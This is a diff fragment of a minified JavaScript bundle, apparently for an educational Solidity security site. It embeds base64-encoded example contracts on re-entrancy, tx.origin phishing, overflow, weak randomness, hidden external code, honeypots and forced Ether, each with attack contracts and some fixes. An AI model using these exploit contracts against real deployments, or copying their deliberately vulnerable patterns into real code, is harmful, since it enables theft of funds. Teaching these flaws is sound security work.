Solidity",Mk=[{fileName:"ExternalContract.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkxldCdzIHNheSBBbGljZSBjYW4gc2VlIHRoZSBjb2RlIG9mIEZvbyBhbmQgQmFyIGJ1dCBub3QgTWFsLgpJdCBpcyBvYnZpb3VzIHRvIEFsaWNlIHRoYXQgRm9vLmNhbGxCYXIoKSBleGVjdXRlcyB0aGUgY29kZSBpbnNpZGUgQmFyLmxvZygpLgpIb3dldmVyIEV2ZSBkZXBsb3lzIEZvbyB3aXRoIHRoZSBhZGRyZXNzIG9mIE1hbCwgc28gdGhhdCBjYWxsaW5nIEZvby5jYWxsQmFyKCkKd2lsbCBhY3R1YWxseSBleGVjdXRlIHRoZSBjb2RlIGF0IE1hbC4KKi8KCi8qCjEuIEV2ZSBkZXBsb3lzIE1hbAoyLiBFdmUgZGVwbG95cyBGb28gd2l0aCB0aGUgYWRkcmVzcyBvZiBNYWwKMy4gQWxpY2UgY2FsbHMgRm9vLmNhbGxCYXIoKSBhZnRlciByZWFkaW5nIHRoZSBjb2RlIGFuZCBqdWRnaW5nIHRoYXQgaXQgaXMKICAgc2FmZSB0byBjYWxsLgo0LiBBbHRob3VnaCBBbGljZSBleHBlY3RlZCBCYXIubG9nKCkgdG8gYmUgZXhlY3V0ZSwgTWFsLmxvZygpIHdhcyBleGVjdXRlZC4KKi8KCmNvbnRyYWN0IEZvbyB7CiAgICBCYXIgYmFyOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX2JhcikgewogICAgICAgIGJhciA9IEJhcihfYmFyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsQmFyKCkgcHVibGljIHsKICAgICAgICBiYXIubG9nKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEJhciB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGxvZygpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2coIkJhciB3YXMgY2FsbGVkIik7CiAgICB9Cn0KCi8vIFRoaXMgY29kZSBpcyBoaWRkZW4gaW4gYSBzZXBhcmF0ZSBmaWxlCmNvbnRyYWN0IE1hbCB7CiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIC8vIGZ1bmN0aW9uICgpIGV4dGVybmFsIHsKICAgIC8vICAgICBlbWl0IExvZygiTWFsIHdhcyBjYWxsZWQiKTsKICAgIC8vIH0KCiAgICAvLyBBY3R1YWxseSB3ZSBjYW4gZXhlY3V0ZSB0aGUgc2FtZSBleHBsb2l0IGV2ZW4gaWYgdGhpcyBmdW5jdGlvbiBkb2VzCiAgICAvLyBub3QgZXhpc3QgYnkgdXNpbmcgdGhlIGZhbGxiYWNrCiAgICBmdW5jdGlvbiBsb2coKSBwdWJsaWMgewogICAgICAgIGVtaXQgTG9nKCJNYWwgd2FzIGNhbGxlZCIpOwogICAgfQp9Cg=="}],Jk=`

                                Vulnerability

                                In Solidity any address can be casted into specific contract, even if the contract at the address is not the one being casted.

                                This can be exploited to hide malicious code. Let's see how.

                                @@ -7924,7 +7924,7 @@ external contract can be reviewed constructor() public { bar = new Bar(); } -`,xk=({prev:s,next:a})=>i.jsx(u,{version:Hk,title:Fk,description:Nk,html:Sk,prev:s,next:a,codes:Kk}),Mk="0.8.20",Jk="Honeypot",zk="An example of honeypot in Solidity",Ek=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyIHRyaWVzIHRvIGRyYWluIEV0aGVyIGZyb20gQmFuay4KQnV0IGFjdHVhbGx5IHRoZSByZWVudHJhY3kgZXhwbG9pdCBpcyBhIGJhaXQgZm9yIGhhY2tlcnMuCkJ5IGRlcGxveWluZyBCYW5rIHdpdGggSG9uZXlQb3QgaW4gcGxhY2Ugb2YgdGhlIExvZ2dlciwgdGhpcyBjb250cmFjdCBiZWNvbWVzCmEgdHJhcCBmb3IgaGFja2Vycy4gTGV0J3Mgc2VlIGhvdy4KCjEuIEFsaWNlIGRlcGxveXMgSG9uZXlQb3QKMi4gQWxpY2UgZGVwbG95cyBCYW5rIHdpdGggdGhlIGFkZHJlc3Mgb2YgSG9uZXlQb3QKMy4gQWxpY2UgZGVwb3NpdHMgMSBFdGhlciBpbnRvIEJhbmsuCjQuIEV2ZSBkaXNjb3ZlcnMgdGhlIHJlZW50cmFuY3kgZXhwbG9pdCBpbiBCYW5rLndpdGhkcmF3IGFuZCBkZWNpZGVzIHRvIGhhY2sgaXQuCjUuIEV2ZSBkZXBsb3lzIEF0dGFjayB3aXRoIHRoZSBhZGRyZXNzIG9mIEJhbmsKNi4gRXZ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HRoaXMpLmJhbGFuY2U7CiAgICB9Cn0KCi8vIExldCdzIHNheSB0aGlzIGNvZGUgaXMgaW4gYSBzZXBhcmF0ZSBmaWxlIHNvIHRoYXQgb3RoZXJzIGNhbm5vdCByZWFkIGl0Lgpjb250cmFjdCBIb25leVBvdCB7CiAgICBmdW5jdGlvbiBsb2coYWRkcmVzcyBfY2FsbGVyLCB1aW50IF9hbW91bnQsIHN0cmluZyBtZW1vcnkgX2FjdGlvbikgcHVibGljIHsKICAgICAgICBpZiAoZXF1YWwoX2FjdGlvbiwgIldpdGhkcmF3IikpIHsKICAgICAgICAgICAgcmV2ZXJ0KCJJdCdzIGEgdHJhcCIpOwogICAgICAgIH0KICAgIH0KCiAgICAvLyBGdW5jdGlvbiB0byBjb21wYXJlIHN0cmluZ3MgdXNpbmcga2VjY2FrMjU2CiAgICBmdW5jdGlvbiBlcXVhbChzdHJpbmcgbWVtb3J5IF9hLCBzdHJpbmcgbWVtb3J5IF9iKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],Lk=`

                                A honeypot is a trap to catch hackers.

                                +`,zk=({prev:s,next:a})=>i.jsx(u,{version:Kk,title:Sk,description:xk,html:Jk,prev:s,next:a,codes:Mk}),Ek="0.8.20",Lk="Honeypot",Qk="An example of honeypot in Solidity",_k=[{fileName:"HoneyPot.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkJhbmsgaXMgYSBjb250cmFjdCB0aGF0IGNhbGxzIExvZ2dlciB0byBsb2cgZXZlbnRzLgpCYW5rLndpdGhkcmF3KCkgaXMgdnVsbmVyYWJsZSB0byB0aGUgcmVlbnRyYW5jeSBhdHRhY2suClNvIGEgaGFja2VyI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ICBmdW5jdGlvbiBlcXVhbChzdHJpbmcgbWVtb3J5IF9hLCBzdHJpbmcgbWVtb3J5IF9iKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF9hKSkgPT0ga2VjY2FrMjU2KGFiaS5lbmNvZGUoX2IpKTsKICAgIH0KfQo="}],Uk=`

                                A honeypot is a trap to catch hackers.

                                Vulnerability

                                Combining two exploits, reentrancy and hiding malicious code, we can build a contract

                                that will catch malicious users.

                                @@ -8022,7 +8022,7 @@ Logger.log() calls HoneyPot.log() and reverts. Transaction fails. return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } } -`,Qk=({prev:s,next:a})=>i.jsx(u,{version:Mk,title:Jk,description:zk,html:Lk,prev:s,next:a,codes:Ek}),_k="0.8.20",Uk="Arithmetic Overflow and Underflow",Tk="An example of hacking Solidity with arithmetic overflow / underflow",Dk=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuNy42OwoKLy8gVGhpcyBjb250cmFjdCBpcyBkZXNpZ25lZCB0byBhY3QgYXMgYSB0aW1lIHZhdWx0LgovLyBVc2VyIGNhbiBkZXBvc2l0IGludG8gdGhpcyBjb250cmFjdCBidXQgY2Fubm90IHdpdGhkcmF3IGZvciBhdGxlYXN0IGEgd2Vlay4KLy8gVXNlciBjYW4gYWxzbyBleHRlbmQgdGhlIHdhaXQgdGltZSBiZXlvbmQgdGhlIDEgd2VlayB3YWl0aW5nIHBlcmlvZC4KCi8qCjEuIERlcGxveSBUaW1lTG9jawoyLiBEZXBsb3kgQXR0YWNrIHdpdGggYWRkcmVzcyBvZiBUaW1lTG9jawozLiBDYWxsIEF0dGFjay5hdHRhY2sgc2VuZGluZyAxIGV0aGVyLiBZb3Ugd2lsbCBpbW1lZGlhdGVseSBiZSBhYmxlIHRvCiAgIHdpd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LnNlbmRlci5jYWxse3ZhbHVlOiBhbW91bnR9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cgpjb250cmFjdCBBdHRhY2sgewogICAgVGltZUxvY2sgdGltZUxvY2s7CgogICAgY29uc3RydWN0b3IoVGltZUxvY2sgX3RpbWVMb2NrKSB7CiAgICAgICAgdGltZUxvY2sgPSBUaW1lTG9jayhfdGltZUxvY2spOwogICAgfQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7fQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICB0aW1lTG9jay5kZXBvc2l0e3ZhbHVlOiBtc2cudmFsdWV9KCk7CiAgICAgICAgLyoKICAgICAgICBpZiB0ID0gY3VycmVudCBsb2NrIHRpbWUgdGhlbiB3ZSBuZWVkIHRvIGZpbmQgeCBzdWNoIHRoYXQKICAgICAgICB4ICsgdCA9IDIqKjI1NiA9IDAKICAgICAgICBzbyB4ID0gLXQKICAgICAgICAyKioyNTYgPSB0eXBlKHVpbnQpLm1heCArIDEKICAgICAgICBzbyB4ID0gdHlwZSh1aW50KS5tYXggKyAxIC0gdAogICAgICAgICovCiAgICAgICAgdGltZUxvY2suaW5jcmVhc2VMb2NrVGltZSgKICAgICAgICAgICAgdHlwZSh1aW50KS5tYXggKyAxIC0gdGltZUxvY2subG9ja1RpbWUoYWRkcmVzcyh0aGlzKSkKICAgICAgICApOwogICAgICAgIHRpbWVMb2NrLndpdGhkcmF3KCk7CiAgICB9Cn0K"}],Ok=`

                                Vulnerability

                                +`,Tk=({prev:s,next:a})=>i.jsx(u,{version:Ek,title:Lk,description:Qk,html:Uk,prev:s,next:a,codes:_k}),Dk="0.8.20",Ok="Arithmetic Overflow and Underflow",Pk="An example of hacking Solidity with arithmetic overflow / underflow",$k=[{fileName:"Overflow.sol",code:"Ly8gU1BEWC1MaWNl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IqKjI1NiA9IDAKICAgICAgICBzbyB4ID0gLXQKICAgICAgICAyKioyNTYgPSB0eXBlKHVpbnQpLm1heCArIDEKICAgICAgICBzbyB4ID0gdHlwZSh1aW50KS5tYXggKyAxIC0gdAogICAgICAgICovCiAgICAgICAgdGltZUxvY2suaW5jcmVhc2VMb2NrVGltZSgKICAgICAgICAgICAgdHlwZSh1aW50KS5tYXggKyAxIC0gdGltZUxvY2subG9ja1RpbWUoYWRkcmVzcyh0aGlzKSkKICAgICAgICApOwogICAgICAgIHRpbWVMb2NrLndpdGhkcmF3KCk7CiAgICB9Cn0K"}],qk=`

                                Vulnerability

                                Solidity < 0.8

                                Integers in Solidity overflow / underflow without any errors

                                Solidity >= 0.8
                                @@ -8101,7 +8101,7 @@ before the 1 week waiting period.
                              • Solidity 0.8 defaults to throwing an error for overflow / underflow

                              -`,Pk=({prev:s,next:a})=>i.jsx(u,{version:_k,title:Uk,description:Tk,html:Ok,prev:s,next:a,codes:Dk}),$k="0.8.20",qk="Phishing with tx.origin",sZ="An example of phishing with tx.origin in Solidity",aZ=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmV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FdhbGxldCB3YWxsZXQ7CgogICAgY29uc3RydWN0b3IoV2FsbGV0IF93YWxsZXQpIHsKICAgICAgICB3YWxsZXQgPSBXYWxsZXQoX3dhbGxldCk7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgd2FsbGV0LnRyYW5zZmVyKG93bmVyLCBhZGRyZXNzKHdhbGxldCkuYmFsYW5jZSk7CiAgICB9Cn0K"}],nZ=`

                              What's the difference between msg.sender and tx.origin?

                              +`,sZ=({prev:s,next:a})=>i.jsx(u,{version:Dk,title:Ok,description:Pk,html:qk,prev:s,next:a,codes:$k}),aZ="0.8.20",nZ="Phishing with tx.origin",lZ="An example of phishing with tx.origin in Solidity",pZ=[{fileName:"TxOrigin.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCldhbGxldCBpcyBhIHNpbXBsZSBjb250cmFjdCB3aGVyZSBvbmx5IHRoZSBvd25lciBzaG91bGQgYmUgYWJsZSB0byB0cmFuc2ZlcgpFdGhlciB0byBhbm90aGVyIGFkZHJlc3MuIFdhbGxldC50cmFuc2ZlcigpIHVzZXMgdHgub3JpZ2luIHRvIGNoZWNrIHRoYXQgdGhlCmNhbGxlciBpcyB0aGUgb3duZXIuIExldCdzIHNlZSBob3cgd2UgY2FuIGhhY2sgdGhpcyBjb250cmFjdAoqLwoKLyoKMS4gQWxpY2UgZGVwbG95cyBXYWxsZXQgd2l0aCAxMCBFdGhlcgoyLiBFdmUgZGVwbG95cyBBdHRhY2sgd2l0aCB0aGUgYWRkcmVzcyBvZiBBbGljZSdzIFdhbGxldCBjb250cmFjdC4KMy4gRXZlIHRyaWNrcyBBbGljZSB0byBjYWxsIEF0dGFjay5hdHRhY2soKQo0LiBFdmUgc3VjY2Vzc2Z1bGx5IHN0b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XlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGF0dGFjaygpIHB1YmxpYyB7CiAgICAgICAgd2FsbGV0LnRyYW5zZmVyKG93bmVyLCBhZGRyZXNzKHdhbGxldCkuYmFsYW5jZSk7CiAgICB9Cn0K"}],eZ=`

                              What's the difference between msg.sender and tx.origin?

                              If contract A calls B, and B calls C, in C msg.sender is B and tx.origin is A.

                              Vulnerability

                              A malicious contract can deceive the owner of a contract into calling a @@ -8164,7 +8164,7 @@ it authorized the transfer. The wallet transferred all Ether to Eve. (bool sent, ) = _to.call{ value: _amount }(""); require(sent, "Failed to send Ether"); } -`,lZ=({prev:s,next:a})=>i.jsx(u,{version:$k,title:qk,description:sZ,html:nZ,prev:s,next:a,codes:aZ}),pZ="0.8.20",eZ="Source of Randomness",cZ="Blockchain is not a reliable source of randomness in Solidity",tZ=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxldCdzIHNlZSBob3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hY2tlZChibG9ja2hhc2goYmxvY2subnVtYmVyIC0gMSksIGJsb2NrLnRpbWVzdGFtcCkpCiAgICAgICAgKTsKCiAgICAgICAgZ3Vlc3NUaGVSYW5kb21OdW1iZXIuZ3Vlc3MoYW5zd2VyKTsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgYmFsYW5jZQogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="}],oZ=`

                              Vulnerability

                              +`,cZ=({prev:s,next:a})=>i.jsx(u,{version:aZ,title:nZ,description:lZ,html:eZ,prev:s,next:a,codes:pZ}),tZ="0.8.20",oZ="Source of Randomness",rZ="Blockchain is not a reliable source of randomness in Solidity",iZ=[{fileName:"Randomness.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCk5PVEU6IGNhbm5vdCB1c2UgYmxvY2toYXNoIGluIFJlbWl4IHNvIHVzZSBnYW5hY2hlLWNsaQoKbnBtIGkgLWcgZ2FuYWNoZS1jbGkKZ2FuYWNoZS1jbGkKSW4gcmVtaXggc3dpdGNoIGVudmlyb25tZW50IHRvIFdlYjMgcHJvdmlkZXIKKi8KCi8qCkd1ZXNzVGhlUmFuZG9tTnVtYmVyIGlzIGEgZ2FtZSB3aGVyZSB5b3Ugd2luIDEgRXRoZXIgaWYgeW91IGNhbiBndWVzcyB0aGUKcHNldWRvIHJhbmRvbSBudW1iZXIgZ2VuZXJhdGVkIGZyb20gYmxvY2sgaGFzaCBhbmQgdGltZXN0YW1wLgoKQXQgZmlyc3QgZ2xhbmNlLCBpdCBzZWVtcyBpbXBvc3NpYmxlIHRvIGd1ZXNzIHRoZSBjb3JyZWN0IG51bWJlci4KQnV0IGxld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JpLmVuY29kZVBhY2tlZChibG9ja2hhc2goYmxvY2subnVtYmVyIC0gMSksIGJsb2NrLnRpbWVzdGFtcCkpCiAgICAgICAgKTsKCiAgICAgICAgZ3Vlc3NUaGVSYW5kb21OdW1iZXIuZ3Vlc3MoYW5zd2VyKTsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgYmFsYW5jZQogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="}],hZ=`

                              Vulnerability

                              blockhash and block.timestamp are not reliable sources for randomness.

                              // SPDX-License-Identifier: MIT
                               pragma solidity ^0.8.20;
                              @@ -8227,7 +8227,7 @@ Attack computed the correct answer by simply copying the code that computes the
                               
                              • Don't use blockhash and block.timestamp as source of randomness
                              -`,rZ=({prev:s,next:a})=>i.jsx(u,{version:pZ,title:eZ,description:cZ,html:oZ,prev:s,next:a,codes:tZ}),iZ="0.8.20",hZ="Re-Entrancy",gZ="An example of re-entrancy attack in Solidity",dZ=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLWVudHJhbmN5IGF0dGFjay4KTGV0J3Mgc2VlIHdoeS4KCjEuIERlcGxveSBFdGhlclN0b3JlCjIuIERlcG9zaXQgMSBFdGhlciBlYWNoIGZyb20gQWNjb3VudCAxIChBbGljZSkgYW5kIEFjY291bnQgMiAoQm9iKSBpbnRvIEV0aGVyU3RvcmUKMy4gRGVwbG95IEF0dGF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x1ZSA+PSBBTU9VTlQpOwogICAgICAgIGV0aGVyU3RvcmUuZGVwb3NpdHt2YWx1ZTogQU1PVU5UfSgpOwogICAgICAgIGV0aGVyU3RvcmUud2l0aGRyYXcoKTsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgdGhlIGJhbGFuY2Ugb2YgdGhpcyBjb250cmFjdAogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],IZ=`

                              Vulnerability

                              +`,gZ=({prev:s,next:a})=>i.jsx(u,{version:tZ,title:oZ,description:rZ,html:hZ,prev:s,next:a,codes:iZ}),dZ="0.8.20",IZ="Re-Entrancy",CZ="An example of re-entrancy attack in Solidity",jZ=[{fileName:"ReEntrancy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qCkV0aGVyU3RvcmUgaXMgYSBjb250cmFjdCB3aGVyZSB5b3UgY2FuIGRlcG9zaXQgYW5kIHdpdGhkcmF3IEVUSC4KVGhpcyBjb250cmFjdCBpcyB2dWxuZXJhYmxlIHRvIHJlLW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ZHJlc3MoZXRoZXJTdG9yZSkuYmFsYW5jZSA+PSBBTU9VTlQpIHsKICAgICAgICAgICAgZXRoZXJTdG9yZS53aXRoZHJhdygpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBhdHRhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKG1zZy52YWx1ZSA+PSBBTU9VTlQpOwogICAgICAgIGV0aGVyU3RvcmUuZGVwb3NpdHt2YWx1ZTogQU1PVU5UfSgpOwogICAgICAgIGV0aGVyU3RvcmUud2l0aGRyYXcoKTsKICAgIH0KCiAgICAvLyBIZWxwZXIgZnVuY3Rpb24gdG8gY2hlY2sgdGhlIGJhbGFuY2Ugb2YgdGhpcyBjb250cmFjdAogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQpIHsKICAgICAgICByZXR1cm4gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgfQp9Cg=="},{fileName:"ReEntrancyGuard.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFJlRW50cmFuY3lHdWFyZCB7CiAgICBib29sIGludGVybmFsIGxvY2tlZDsKCiAgICBtb2RpZmllciBub1JlZW50cmFudCgpIHsKICAgICAgICByZXF1aXJlKCFsb2NrZWQsICJObyByZS1lbnRyYW5jeSIpOwogICAgICAgIGxvY2tlZCA9IHRydWU7CiAgICAgICAgXzsKICAgICAgICBsb2NrZWQgPSBmYWxzZTsKICAgIH0KfQo="}],uZ=`

                              Vulnerability

                              Let's say that contract A calls contract B.

                              Reentracy exploit allows B to call back into A before A finishes execution.

                              // SPDX-License-Identifier: MIT
                              @@ -8328,7 +8328,7 @@ Here is how the functions were called
                                       locked = false;
                                   }
                               }
                              -
                              `,CZ=({prev:s,next:a})=>i.jsx(u,{version:iZ,title:hZ,description:gZ,html:IZ,prev:s,next:a,codes:dZ}),jZ="0.8.20",uZ="Self Destruct",yZ="An example of how to delete your smart contract by calling seldestruct in Solidity",mZ=[{fileName:"ForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8vIFRoZSBnb2FsIG9mIHRoaXMgZ2FtZSBpcyB0byBiZSB0aGUgN3RoIHBsYXllciB0byBkZXBvc2l0IDEgRXRoZXIuCi8vIFBsYXllcnMgY2FuIGRlcG9zaXQgb25seSAxIEV0aGVyIGF0IGEgdGltZS4KLy8gV2lubmVyIHdpbGwgYmUgYWJsZSB0byB3aXRoZHJhdyBhbGwgRXRoZXIuCgovKgoxLiBEZXBsb3kgRXRoZXJHYW1lCjIuIFBsYXllcnMgKHNheSBBbGljZSBhbmQgQm9iKSBkZWNpZGVzIHRvIHBsYXksIGRlcG9zaXRzIDEgRXRoZXIgZWFjaC4KMi4gRGVwbG95IEF0dGFjayB3aXRoIGFkZHJlc3Mgb2YgRXRoZXJHYW1lCjMuIENhbGwgQXR0YWNrLmF0dGFjayBzZW5kaW5nIDUgZXRoZXIuIFRoaXMgd2lsbCBicmVhayB0aGUgZ2FtZQogICBObyBvbmUgY2FuIGJlY29tZSB0aGUgd2lubmVyLgoKV2hhdCBoYXBwZW5lZD8KQXR0YWNrIGZvcmNlZCB0aGUgYmFsYW5jZSBvZiBFdGhlckdhbWUgdG8gZXF1YWwgNyBldGhlci4KTm93IG5vIG9uZSBjYW4gZGVwb3NpdCBhbmQgdGhlIHdpbm5lciBjYW5ub3QgYmUgc2V0LgoqLwoKY29udHJhY3QgRXRoZXJHYW1lIHsKICAgIHVpbnQgcHVibGljIHRhcmdldEFtb3VudCA9IDcgZXRoZXI7CiAgICBhZGRyZXNzIHB1YmxpYyB3aW5uZXI7CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICByZXF1a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cyhldGhlckdhbWUpKTsKICAgICAgICBzZWxmZGVzdHJ1Y3QoYWRkcik7CiAgICB9Cn0K"},{fileName:"PreventForceEther.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyR2FtZSB7CiAgICB1aW50IHB1YmxpYyB0YXJnZXRBbW91bnQgPSAzIGV0aGVyOwogICAgdWludCBwdWJsaWMgYmFsYW5jZTsKICAgIGFkZHJlc3MgcHVibGljIHdpbm5lcjsKCiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgcHVibGljIHBheWFibGUgewogICAgICAgIHJlcXVpcmUobXNnLnZhbHVlID09IDEgZXRoZXIsICJZb3UgY2FuIG9ubHkgc2VuZCAxIEV0aGVyIik7CgogICAgICAgIGJhbGFuY2UgKz0gbXNnLnZhbHVlOwogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA8PSB0YXJnZXRBbW91bnQsICJHYW1lIGlzIG92ZXIiKTsKCiAgICAgICAgaWYgKGJhbGFuY2UgPT0gdGFyZ2V0QW1vdW50KSB7CiAgICAgICAgICAgIHdpbm5lciA9IG1zZy5zZW5kZXI7CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltUmV3YXJkKCkgcHVibGljIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gd2lubmVyLCAiTm90IHdpbm5lciIpOwoKICAgICAgICAoYm9vbCBzZW50LCApID0gbXNnLnNlbmRlci5jYWxse3ZhbHVlOiBiYWxhbmNlfSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgIH0KfQo="}],AZ=`

                              Contracts can be deleted from the blockchain by calling selfdestruct.

                              +
